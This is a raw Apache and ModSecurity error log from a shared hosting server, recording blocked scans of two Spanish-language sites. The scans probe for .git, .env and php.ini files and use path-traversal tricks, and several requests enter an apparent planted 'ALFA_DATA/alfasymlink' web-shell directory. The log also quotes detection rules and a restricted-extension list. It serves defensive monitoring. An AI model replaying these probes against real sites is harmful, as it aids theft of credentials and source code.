[Sun Oct 25 02:22:28.948884 2026] [security2:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "at2gJHqPPT_6tJCMTRvuNgAAAAs"]
[Sun Oct 25 02:22:28.949031 2026] [security2:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "at2gJHqPPT_6tJCMTRvuNgAAAAs"]
[Sun Oct 25 02:22:28.949302 2026] [security2:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "at2gJHqPPT_6tJCMTRvuNgAAAAs"]
[Sun Oct 25 02:22:28.968096 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.25:57481] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/css../.git/config"] [unique_id "at2gJFTnwNJm6o1fQZIhbQAAAAI"]
[Sun Oct 25 02:22:28.968170 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.25:57481] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/css../.git/config"] [unique_id "at2gJFTnwNJm6o1fQZIhbQAAAAI"]
[Sun Oct 25 02:22:28.968274 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.25:57481] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/css../.git/config"] [unique_id "at2gJFTnwNJm6o1fQZIhbQAAAAI"]
[Sun Oct 25 02:22:28.968453 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.25:57481] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/css../.git/config"] [unique_id "at2gJFTnwNJm6o1fQZIhbQAAAAI"]
[Sun Oct 25 02:22:28.968760 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.25:57481] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/css../.git/config"] [unique_id "at2gJFTnwNJm6o1fQZIhbQAAAAI"]
[Sun Oct 25 02:22:28.990959 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/assets../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aQAAAC4"]
[Sun Oct 25 02:22:28.991028 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/assets../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aQAAAC4"]
[Sun Oct 25 02:22:28.991096 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/assets../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aQAAAC4"]
[Sun Oct 25 02:22:28.991378 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/assets../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aQAAAC4"]
[Sun Oct 25 02:22:28.991699 2026] [security2:error] [pid 2762188:tid 2762188] [client 45.138.12.25:18965] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/assets../.git/config"] [unique_id "at2gJGQyb15Iqx39xvm3aQAAAC4"]
[Sun Oct 25 02:22:29.049653 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/HEAD"] [unique_id "at2gJcqduxFlyzJhl1wDjAAAAAA"]
[Sun Oct 25 02:22:29.049894 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/HEAD"] [unique_id "at2gJcqduxFlyzJhl1wDjAAAAAA"]
[Sun Oct 25 02:22:29.050159 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/HEAD"] [unique_id "at2gJcqduxFlyzJhl1wDjAAAAAA"]
[Sun Oct 25 02:22:29.691369 2026] [authz_core:error] [pid 2775710:tid 2775710] [client 45.138.12.25:57290] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:22:29.719313 2026] [authz_core:error] [pid 2781469:tid 2781469] [client 45.138.12.25:5424] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:22:30.200717 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/firebase-debug.log"] [unique_id "at2gJsqduxFlyzJhl1wDkAAAAAA"]
[Sun Oct 25 02:22:30.201042 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/firebase-debug.log"] [unique_id "at2gJsqduxFlyzJhl1wDkAAAAAA"]
[Sun Oct 25 02:22:30.201301 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.25:41506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/firebase-debug.log"] [unique_id "at2gJsqduxFlyzJhl1wDkAAAAAA"]
[Sun Oct 25 02:22:30.372606 2026] [authz_core:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:22:34.665792 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.2.58.41:15505] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:22:38.248359 2026] [ssl:error] [pid 2781508:tid 2781508] (70014)End of file found: [client 18.205.91.101:64139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:22:40.018401 2026] [core:error] [pid 2781514:tid 2781514] (13)Permission denied: [client 85.208.96.210:34894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/min_partial
[Sun Oct 25 02:22:46.466998 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.90.73.206:37043] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:22:47.178631 2026] [security2:error] [pid 2781523:tid 2781523] [client 43.161.233.190:53820] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/bulletok1.php"] [unique_id "at2gN9xXWZMI2DaSlsHvxwAAABY"]
[Sun Oct 25 02:22:50.202576 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.232.39.98:6454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:22:58.219439 2026] [ssl:error] [pid 2781514:tid 2781514] (70014)End of file found: [client 52.1.157.90:59511] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:23:02.158938 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 34.231.156.59:22187] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:23:10.159896 2026] [ssl:error] [pid 2781469:tid 2781469] (5)Input/output error: [client 54.166.104.83:9924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:23:14.340095 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 50.16.248.61:29805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:23:30.187388 2026] [ssl:error] [pid 2781514:tid 2781514] (70014)End of file found: [client 44.195.145.102:17649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:23:46.197838 2026] [security2:error] [pid 2775672:tid 2775672] [client 130.12.180.168:33704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gcsqduxFlyzJhl1wDkwAAAAA"]
[Sun Oct 25 02:23:46.198093 2026] [security2:error] [pid 2775672:tid 2775672] [client 130.12.180.168:33704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gcsqduxFlyzJhl1wDkwAAAAA"]
[Sun Oct 25 02:23:46.198392 2026] [security2:error] [pid 2775672:tid 2775672] [client 130.12.180.168:33704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gcsqduxFlyzJhl1wDkwAAAAA"]
[Sun Oct 25 02:23:46.582861 2026] [security2:error] [pid 2762145:tid 2762145] [client 130.12.180.167:18400] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gclTnwNJm6o1fQZIhdwAAAAI"]
[Sun Oct 25 02:23:46.583125 2026] [security2:error] [pid 2762145:tid 2762145] [client 130.12.180.167:18400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gclTnwNJm6o1fQZIhdwAAAAI"]
[Sun Oct 25 02:23:46.583560 2026] [security2:error] [pid 2762145:tid 2762145] [client 130.12.180.167:18400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gclTnwNJm6o1fQZIhdwAAAAI"]
[Sun Oct 25 02:23:50.285493 2026] [ssl:error] [pid 2781514:tid 2781514] (70014)End of file found: [client 44.217.177.142:34295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:23:57.106389 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 185.191.171.3:60312] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/slabs
[Sun Oct 25 02:23:58.158989 2026] [ssl:error] [pid 2781469:tid 2781469] (70014)End of file found: [client 52.204.71.8:36478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:24:02.183373 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.226.34.98:18501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:24:02.183619 2026] [security2:error] [pid 2781507:tid 2781507] [client 3.226.34.98:18501] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/subsystem/ata2/device/host1/target1:0:0/1:0:0:0/driver/module/drivers/scsi:sr/module/rhelversion"] [unique_id "at2ggp68N771hz7W4KlrPgAAAAw"]
[Sun Oct 25 02:24:02.183647 2026] [security2:error] [pid 2781507:tid 2781507] [client 3.226.34.98:18501] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/subsystem/ata2/device/host1/target1:0:0/1:0:0:0/driver/module/drivers/scsi:sr/module/rhelversion"] [unique_id "at2ggp68N771hz7W4KlrPgAAAAw"]
[Sun Oct 25 02:24:14.222132 2026] [core:error] [pid 2781514:tid 2781514] (13)Permission denied: [client 34.227.156.153:14002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/xen-platform-pci/bind
[Sun Oct 25 02:24:18.155066 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 34.234.197.175:65031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:24:42.177845 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 3.93.253.174:33282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/hid/drivers/magicmouse/module/uevent
[Sun Oct 25 02:24:51.660001 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.14:25870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/partial
[Sun Oct 25 02:24:53.736735 2026] [security2:error] [pid 2775709:tid 2775709] [client 130.12.180.168:21364] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gtVyqe9jgJ5nfJHB7hQAAAAo"]
[Sun Oct 25 02:24:53.737047 2026] [security2:error] [pid 2775709:tid 2775709] [client 130.12.180.168:21364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gtVyqe9jgJ5nfJHB7hQAAAAo"]
[Sun Oct 25 02:24:53.737512 2026] [security2:error] [pid 2775709:tid 2775709] [client 130.12.180.168:21364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gtVyqe9jgJ5nfJHB7hQAAAAo"]
[Sun Oct 25 02:24:53.862302 2026] [security2:error] [pid 2781514:tid 2781514] [client 130.12.180.175:34952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gtcg3U8DnC2IvGkBkOwAAABA"]
[Sun Oct 25 02:24:53.862716 2026] [security2:error] [pid 2781514:tid 2781514] [client 130.12.180.175:34952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2gtcg3U8DnC2IvGkBkOwAAABA"]
